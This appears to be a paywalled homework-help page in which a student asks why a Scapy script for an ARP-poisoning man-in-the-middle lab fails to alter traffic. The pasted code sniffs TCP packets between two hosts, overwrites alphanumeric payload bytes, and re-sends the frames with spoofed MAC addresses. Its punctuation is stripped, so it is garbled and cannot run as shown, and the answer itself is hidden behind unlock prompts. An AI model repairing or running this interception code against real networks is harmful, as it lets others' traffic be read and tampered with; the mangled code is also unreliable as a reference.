Question: Attempting to try ARP poisoning, the code does not change the characters from q to b when typing. Additionally, the Ether wrapper does not work:
Attempting to try ARP poisoning, the code does not change the characters from q to b when typing. Additionally, the Ether wrapper does not work: #usrbinenv python from scapy.all import # Define the IP and MAC addresses IPM MACM ::a::: IPA MACA ::a::: IPB MACB ::a::: def spoofpktpkt: # Check if the packet is from A to B if IP in pkt and pktIPsrc IPA and pktIPdst IPB: # Create a new IP packet based on the original newpkt IPbytespktIP # Create a new IP packet from the original del newpkt.chksum # Remove the checksum it will be recalculated # Modify the TCP part if it exists if TCP in pkt: del newpktTCPchksum # Remove the checksum newdata bytearraypktTCPpayload.load # Get the original payload data # Modify the payload by replacing alphanumeric characters with q for i in rangelennewdata: if chrnewdataiisalnum: newdatai ordq # Create the new TCP segment newtcp TCPdportpktTCPdport, sportpktTCPsport, flagspktTCPflags, seqpktTCPseq, ackpktTCPack bytesnewdata newpkt newpkt newtcp # Set the source and destination MAC addresses for the Ethernet frame newpktEthersrc MACM newpktEtherdst MACB # Send the modified packet sendpEther newpkt, iface'eth verboseFalse # Check if the packet is from B to A unmodified forwarding elif IP in pkt and pktIPsrc IPB and pktIPdst IPA: # Create a new IP packet newpkt IPbytespktIP # Create a new IP packet from the original del newpkt.chksum # Remove the checksum # Set the source and destination MAC addresses for the Ethernet frame newpktEthersrc MACM newpktEtherdst MACA # Send the unmodified packet sendpEther newpkt, iface'eth verboseFalse # Sniff packets, filtering out those sent from the MACM address f tcp and not ether src MACM sniffiface"eth filterf prnspoofpkt
Step by Step Solution
There are 3 Steps involved in it
1 Expert Approved Answer
Step: 1 Unlock
Question Has Been Solved by an Expert!
Get step-by-step solutions from verified subject matter experts
Step: 2 Unlock
Step: 3 Unlock
